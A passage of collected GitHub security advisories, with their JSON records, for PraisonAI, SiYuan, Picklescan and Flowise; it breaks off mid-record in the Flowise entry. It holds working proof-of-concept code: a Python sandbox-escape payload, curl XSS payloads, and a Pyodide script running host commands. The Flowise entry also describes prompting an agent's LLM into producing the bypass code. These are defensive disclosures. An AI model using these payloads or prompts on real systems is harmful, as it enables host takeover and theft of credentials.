Vulnerability from github – Published: 2026-05-29 22:30 – Updated: 2026-05-29 22:30Summary
execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.
This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical
Root Cause
Three independent gaps in the AST-based security validation:
Gap 1: __self__ missing from _blocked_attrs
In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the real CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.
The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.
Gap 2: vars not blocked as callable or attribute
builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.
So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.
Gap 3: AST Call check only catches ast.Name nodes
The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch:
- Attribute calls: b.exec(...) — func is ast.Attribute
- Subscript calls: d["exec"](...) — func is ast.Subscript
Gap 4: Runtime string construction bypasses string constant check
The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.
Proof of Concept
from praisonaiagents.tools.python_tools import execute_code
# Exploit: 4 lines, bypasses ALL security layers
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""
result = execute_code(code=payload)
print(result)
# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}
Step-by-step bypass analysis:
| Line | AST node | Check | Result |
|---|---|---|---|
print.__self__ |
Attribute(attr='__self__') |
__self__ in _blocked_attrs? |
NO → passes |
b.vars |
Attribute(attr='vars') |
vars in _blocked_attrs? |
NO → passes |
b.vars(b) |
Call(func=Attribute) |
isinstance(func, ast.Name)? |
NO → passes |
"_", "import" |
Constant(value=str) |
Contains blocked attr? | NO → passes |
d[key] |
Subscript |
Not checked | passes |
imp("os") |
Call(func=Name('imp')) |
imp in blocked calls? |
NO → passes |
Result: Full sandbox escape → arbitrary command execution
Impact
An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:
- Execute arbitrary commands on the host system
- Read/write any file accessible to the process
- Exfiltrate environment variables, API keys, and credentials
- Pivot to internal networks
- Install persistent backdoors
Affected
- Package:
praisonaiagents(PyPI) - Affected versions: All versions through 1.6.37 (latest)
- Component:
praisonaiagents/tools/python_tools.py,_execute_code_sandboxed()function - Default configuration affected: Yes (
sandbox_mode="sandbox"is the default)
Remediation
Immediate fix
Add __self__ to _blocked_attrs:
_blocked_attrs = frozenset({
...,
'__self__', # Built-in functions leak their parent module
})
Additional hardening
- Block
varsin the callable blocklist - Extend the
ast.Callcheck to also catchast.Attributeandast.Subscriptfunction nodes - Add AST check for
BinOpstring concatenation that could construct blocked attr names
Fundamental recommendation
Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:
- Using isolated-vm (Node.js) or WebAssembly-based isolation
- Using OS-level sandboxing (seccomp, namespaces, gVisor)
- Removing in-process code execution entirely in favor of containerized execution
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.39"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.40"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.39"
},
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.40"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47392"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T22:30:13Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\n`execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.\n\nThis is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline).\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H \u2014 9.9 Critical**\n\n---\n\n## Root Cause\n\nThree independent gaps in the AST-based security validation:\n\n### Gap 1: `__self__` missing from `_blocked_attrs`\n\nIn CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `\u003cmodule \u0027builtins\u0027 (built-in)\u003e`.\n\nThe `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes.\n\n### Gap 2: `vars` not blocked as callable or attribute\n\n`builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access.\n\nSo `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` \u2014 a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc.\n\n### Gap 3: AST `Call` check only catches `ast.Name` nodes\n\nThe dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` \u2014 i.e., bare-name calls like `exec(...)`. It does NOT catch:\n- Attribute calls: `b.exec(...)` \u2014 func is `ast.Attribute`\n- Subscript calls: `d[\"exec\"](...)` \u2014 func is `ast.Subscript`\n\n### Gap 4: Runtime string construction bypasses string constant check\n\nThe string constant check (line 92-98) catches literals like `\"__import__\"`, but NOT runtime concatenation like `\"_\" + \"_\" + \"import\" + \"_\" + \"_\"`. The AST sees 5 separate `Constant` nodes (`\"_\"`, `\"_\"`, `\"import\"`, `\"_\"`, `\"_\"`), none of which contain any blocked attr as a substring.\n\n---\n\n## Proof of Concept\n\n```python\nfrom praisonaiagents.tools.python_tools import execute_code\n\n# Exploit: 4 lines, bypasses ALL security layers\npayload = \"\"\"\nb = print.__self__\nd = b.vars(b)\nkey = \"_\" + \"_\" + \"import\" + \"_\" + \"_\"\nimp = d[key]\nmod = imp(\"os\")\nprint(mod.popen(\"id\").read())\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# Output: {\u0027result\u0027: None, \u0027stdout\u0027: \u0027uid=1000(user) gid=1000(user) ...\\n\u0027, \u0027stderr\u0027: \u0027\u0027, \u0027success\u0027: True}\n```\n\n### Step-by-step bypass analysis:\n\n| Line | AST node | Check | Result |\n|---|---|---|---|\n| `print.__self__` | `Attribute(attr=\u0027__self__\u0027)` | `__self__` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars` | `Attribute(attr=\u0027vars\u0027)` | `vars` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** \u2192 passes |\n| `\"_\"`, `\"import\"` | `Constant(value=str)` | Contains blocked attr? | **NO** \u2192 passes |\n| `d[key]` | `Subscript` | Not checked | passes |\n| `imp(\"os\")` | `Call(func=Name(\u0027imp\u0027))` | `imp` in blocked calls? | **NO** \u2192 passes |\n\n**Result: Full sandbox escape \u2192 arbitrary command execution**\n\n---\n\n## Impact\n\nAn attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:\n\n- Execute arbitrary commands on the host system\n- Read/write any file accessible to the process\n- Exfiltrate environment variables, API keys, and credentials\n- Pivot to internal networks\n- Install persistent backdoors\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: All versions through 1.6.37 (latest)\n- **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function\n- **Default configuration affected**: Yes (`sandbox_mode=\"sandbox\"` is the default)\n\n---\n\n## Remediation\n\n### Immediate fix\nAdd `__self__` to `_blocked_attrs`:\n```python\n_blocked_attrs = frozenset({\n ...,\n \u0027__self__\u0027, # Built-in functions leak their parent module\n})\n```\n\n### Additional hardening\n1. Block `vars` in the callable blocklist\n2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes\n3. Add AST check for `BinOp` string concatenation that could construct blocked attr names\n\n### Fundamental recommendation\nDenylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:\n- Using `isolated-vm` (Node.js) or WebAssembly-based isolation\n- Using OS-level sandboxing (seccomp, namespaces, gVisor)\n- Removing in-process code execution entirely in favor of containerized execution",
"id": "GHSA-4mr5-g6f9-cfrh",
"modified": "2026-05-29T22:30:13Z",
"published": "2026-05-29T22:30:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4mr5-g6f9-cfrh"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)"
}
GHSA-4MX9-3C2H-HWHG
Vulnerability from github – Published: 2026-03-17 14:08 – Updated: 2026-03-30 14:03SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)
SanitizeSVG blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml. Both render SVG with onload JavaScript execution (confirmed in Chromium 136, other browsers untested).
/api/icon/getDynamicIcon is unauthenticated and serves SVG as Content-Type: image/svg+xml. The content parameter (type=8) gets embedded into the SVG via fmt.Sprintf with no escaping. The sanitizer catches data:text/html but data:text/xml passes the blocklist -- only three MIME types are checked.
This is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via <img> tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or <object>/<embed> embedding.
Steps to reproduce
Against SiYuan v3.6.0 (Docker):
# 1. data:text/xml bypass -- <a> element preserved with href intact
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \
| grep -o '<a [^>]*>'
# Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">
# 2. data:text/html is correctly blocked -- href stripped
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><a href="data:text/html,<script>alert(1)</script>">click</a><text>' \
| grep -o '<a [^>]*>'
# Output: <a> (href removed)
# 3. data:application/xml also bypasses
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \
| grep -o '<a [^>]*>'
# Output: <a href="data:application/xml,..."> (href preserved)
JS execution confirmed in Chromium 136 -- data:text/xml SVG onload fires and posts a message to the parent window via iframe test.
Vulnerable code
kernel/util/misc.go lines 289-293:
if strings.HasPrefix(val, "data:") {
if strings.Contains(val, "text/html") || strings.Contains(val, "image/svg+xml") || strings.Contains(val, "application/xhtml+xml") {
continue
}
}
text/xml and application/xml aren't in the list. Both serve SVG with JS execution.
Impact
Reflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.
Docker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on nodeIntegration/contextIsolation settings. Issue #15970 ("XSS to RCE") explored that path.
The deeper issue: the blocklist approach for data: URIs is fragile. text/xml and application/xml are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.
Affected versions
v3.6.0 (latest, confirmed). All versions since SanitizeSVG was added to fix CVE-2026-29183.
Suggested fix
Flip the data: URI check to an allowlist -- only permit safe image types in href:
if strings.HasPrefix(val, "data:") {
safe := strings.HasPrefix(val, "data:image/png") ||
strings.HasPrefix(val, "data:image/jpeg") ||
strings.HasPrefix(val, "data:image/gif") ||
strings.HasPrefix(val, "data:image/webp")
if !safe {
continue
}
}
If you prefer extending the blocklist, add at minimum: text/xml, application/xml, text/xsl, and multipart/ types.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260313024916-fd6526133bb3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32940"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-17T14:08:11Z",
"nvd_published_at": "2026-03-20T04:16:49Z",
"severity": "CRITICAL"
},
"details": "# SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)\n\n`SanitizeSVG` blocks `data:text/html` and `data:image/svg+xml` in href attributes but misses `data:text/xml` and `data:application/xml`. Both render SVG with `onload` JavaScript execution (confirmed in Chromium 136, other browsers untested).\n\n`/api/icon/getDynamicIcon` is unauthenticated and serves SVG as `Content-Type: image/svg+xml`. The `content` parameter (type=8) gets embedded into the SVG via `fmt.Sprintf` with no escaping. The sanitizer catches `data:text/html` but `data:text/xml` passes the blocklist -- only three MIME types are checked.\n\nThis is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via `\u003cimg\u003e` tags in the frontend, links aren\u0027t interactive there -- the attack needs direct navigation to the endpoint URL or `\u003cobject\u003e`/`\u003cembed\u003e` embedding.\n\n## Steps to reproduce\n\nAgainst SiYuan v3.6.0 (Docker):\n\n```sh\n# 1. data:text/xml bypass -- \u003ca\u003e element preserved with href intact\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n --data-urlencode \u0027type=8\u0027 \\\n --data-urlencode \u0027content=\u003c/text\u003e\u003ca href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\"\u003eclick\u003c/a\u003e\u003ctext\u003e\u0027 \\\n | grep -o \u0027\u003ca [^\u003e]*\u003e\u0027\n# Output: \u003ca href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\"\u003e\n\n# 2. data:text/html is correctly blocked -- href stripped\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n --data-urlencode \u0027type=8\u0027 \\\n --data-urlencode \u0027content=\u003c/text\u003e\u003ca href=\"data:text/html,\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003eclick\u003c/a\u003e\u003ctext\u003e\u0027 \\\n | grep -o \u0027\u003ca [^\u003e]*\u003e\u0027\n# Output: \u003ca\u003e (href removed)\n\n# 3. data:application/xml also bypasses\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n --data-urlencode \u0027type=8\u0027 \\\n --data-urlencode \u0027content=\u003c/text\u003e\u003ca href=\"data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E\"\u003eclick\u003c/a\u003e\u003ctext\u003e\u0027 \\\n | grep -o \u0027\u003ca [^\u003e]*\u003e\u0027\n# Output: \u003ca href=\"data:application/xml,...\"\u003e (href preserved)\n```\n\nJS execution confirmed in Chromium 136 -- `data:text/xml` SVG `onload` fires and posts a message to the parent window via iframe test.\n\n## Vulnerable code\n\n`kernel/util/misc.go` lines 289-293:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n if strings.Contains(val, \"text/html\") || strings.Contains(val, \"image/svg+xml\") || strings.Contains(val, \"application/xhtml+xml\") {\n continue\n }\n}\n```\n\n`text/xml` and `application/xml` aren\u0027t in the list. Both serve SVG with JS execution.\n\n## Impact\n\nReflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.\n\nDocker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on `nodeIntegration`/`contextIsolation` settings. Issue #15970 (\"XSS to RCE\") explored that path.\n\nThe deeper issue: the blocklist approach for data: URIs is fragile. `text/xml` and `application/xml` are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.\n\n## Affected versions\n\nv3.6.0 (latest, confirmed). All versions since `SanitizeSVG` was added to fix CVE-2026-29183.\n\n## Suggested fix\n\nFlip the data: URI check to an allowlist -- only permit safe image types in href:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n safe := strings.HasPrefix(val, \"data:image/png\") ||\n strings.HasPrefix(val, \"data:image/jpeg\") ||\n strings.HasPrefix(val, \"data:image/gif\") ||\n strings.HasPrefix(val, \"data:image/webp\")\n if !safe {\n continue\n }\n}\n```\n\nIf you prefer extending the blocklist, add at minimum: `text/xml`, `application/xml`, `text/xsl`, and `multipart/` types.",
"id": "GHSA-4mx9-3c2h-hwhg",
"modified": "2026-03-30T14:03:47Z",
"published": "2026-03-17T14:08:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4mx9-3c2h-hwhg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32940"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/d01d561875d4f744e9f6232f1d4831e3642b8696"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-6865-qjcf-286f"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)"
}
GHSA-4P4H-9GVQ-7XFG
Vulnerability from github – Published: 2025-04-24 03:31 – Updated: 2025-04-24 16:02Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-93mv-x874-956g. This link is maintained to preserve external references.
Original Description
The unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.0.25"
},
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-24T16:02:09Z",
"nvd_published_at": "2025-04-24T01:15:49Z",
"severity": "MODERATE"
},
"details": "# Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-93mv-x874-956g. This link is maintained to preserve external references.\n\n# Original Description\n\nThe unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization.",
"id": "GHSA-4p4h-9gvq-7xfg",
"modified": "2025-04-24T16:02:09Z",
"published": "2025-04-24T03:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46417"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/40"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-93mv-x874-956g"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate",
"withdrawn": "2025-04-24T16:02:09Z"
}
GHSA-52FH-8V99-63C2
Vulnerability from github – Published: 2026-08-04 17:31 – Updated: 2026-08-04 17:31Summary
The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).
Details
packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:
{ pattern: /\bimport\b/g, ... },
{ pattern: /\b__class__\b/g, ... },
{ pattern: /\b__subclasses__\s*\(/g, ... },
{ pattern: /\b__builtins__\b/g, ... },
{ pattern: /\b__mro__\b/g, ... },
// ... about 30 similar rules
Two design flaws combine into a bypass:
- JavaScript regex
\bis ASCII-only. Word boundaries are computed against the ASCII word class[A-Za-z0-9_]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so\b__class__\bnever matches__cl𝐚ss__. - Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time.
__cl𝐚ss__,__subcl𝐚sses__,__b𝐚se__,__b𝐮iltins__, and similar homoglyph forms are all parsed as their ASCII equivalents.
Attribute access obj.__cl𝐚ss__ is normalized because attribute names are identifiers. Dict string keys such as bi['__import__'] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like \bimport\b or \b__import__\s*\(/.
From inside Pyodide, __builtins__['__import__']('js') yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('child_process').execSync, which runs native commands on the host with the privileges of the Flowise process.
Affected call sites:
- packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates customReadCSV (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated pythonCode before it reaches pyodide.runPythonAsync(code) on line 209.
- packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated pythonCode before pyodide.runPythonAsync on line 197.
The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.
PoC
Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:
// npm install pyodide
const { loadPyodide } = require('pyodide')
const FORBIDDEN_PATTERNS = [
{ pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },
{ pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g },
{ pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g },
{ pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g },
{ pattern: /\bos\./g }, { pattern: /\bsubprocess\./g },
{ pattern: /\bsys\./g }, { pattern: /\bsocket\./g },
{ pattern: /\burllib\./g }, { pattern: /\brequests\./g },
{ pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g },
{ pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g },
{ pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g },
{ pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g },
]
const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })
const payload = `
cls = ().__cl\u{1D41A}ss__
base = cls.__b\u{1D41A}se__
subs = base.__subcl\u{1D41A}sses__()
for c in subs:
if c.__name__ == 'catch_warnings':
cw = c()
bi = cw._module.__b\u{1D42E}iltins__
imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
imp = bi[imp_name]
js_mod = imp(chr(106)+chr(115))
cp_name = 'child' + chr(95) + 'process'
cp = js_mod.process.mainModule.require(cp_name)
opts = js_mod.Object.new(); opts.encoding = 'utf8'
result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)
break
str(result)
`
;(async () => {
console.log('validator passes:', validate(payload)) // true
const py = await loadPyodide()
console.log(await py.runPythonAsync(payload))
})()
Run output on a stock host:
validator passes: true
uid=0(root) gid=0(root) groups=0(root)
<hostname>
FLOWISE_RCE_CONFIRMED
Live path against a Flowise deployment:
1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV_Agent or Airtable_Agent.
2. For the LLM-generated path: send a chat message via POST /api/v1/prediction/{chatflowId} that instructs the model to answer in Python using mathematical bold letters for __class__, __subclasses__, __base__, and __builtins__, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host.
3. For the direct path: a workspace user with chatflow edit rights sets customReadCSV to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.
Impact
Any user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-70470"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T17:31:09Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nThe validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide\u0027s js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).\n\n### Details\npackages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:\n\n```ts\n{ pattern: /\\bimport\\b/g, ... },\n{ pattern: /\\b__class__\\b/g, ... },\n{ pattern: /\\b__subclasses__\\s*\\(/g, ... },\n{ pattern: /\\b__builtins__\\b/g, ... },\n{ pattern: /\\b__mro__\\b/g, ... },\n// ... about 30 similar rules\n```\n\nTwo design flaws combine into a bypass:\n\n1. JavaScript regex `\\b` is ASCII-only. Word boundaries are computed against the ASCII word class `[A-Za-z0-9_]`. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so `\\b__class__\\b` never matches `__cl\ud835\udc1ass__`.\n2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. `__cl\ud835\udc1ass__`, `__subcl\ud835\udc1asses__`, `__b\ud835\udc1ase__`, `__b\ud835\udc2eiltins__`, and similar homoglyph forms are all parsed as their ASCII equivalents.\n\nAttribute access `obj.__cl\ud835\udc1ass__` is normalized because attribute names are identifiers. Dict string keys such as `bi[\u0027__import__\u0027]` are not normalized, but they are free text and can be assembled with `chr()` to avoid literal matches on patterns like `\\bimport\\b` or `\\b__import__\\s*\\(/`.\n\nFrom inside Pyodide, `__builtins__[\u0027__import__\u0027](\u0027js\u0027)` yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes `process.mainModule.require(\u0027child_process\u0027).execSync`, which runs native commands on the host with the privileges of the Flowise process.\n\nAffected call sites:\n- packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates `customReadCSV` (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated `pythonCode` before it reaches 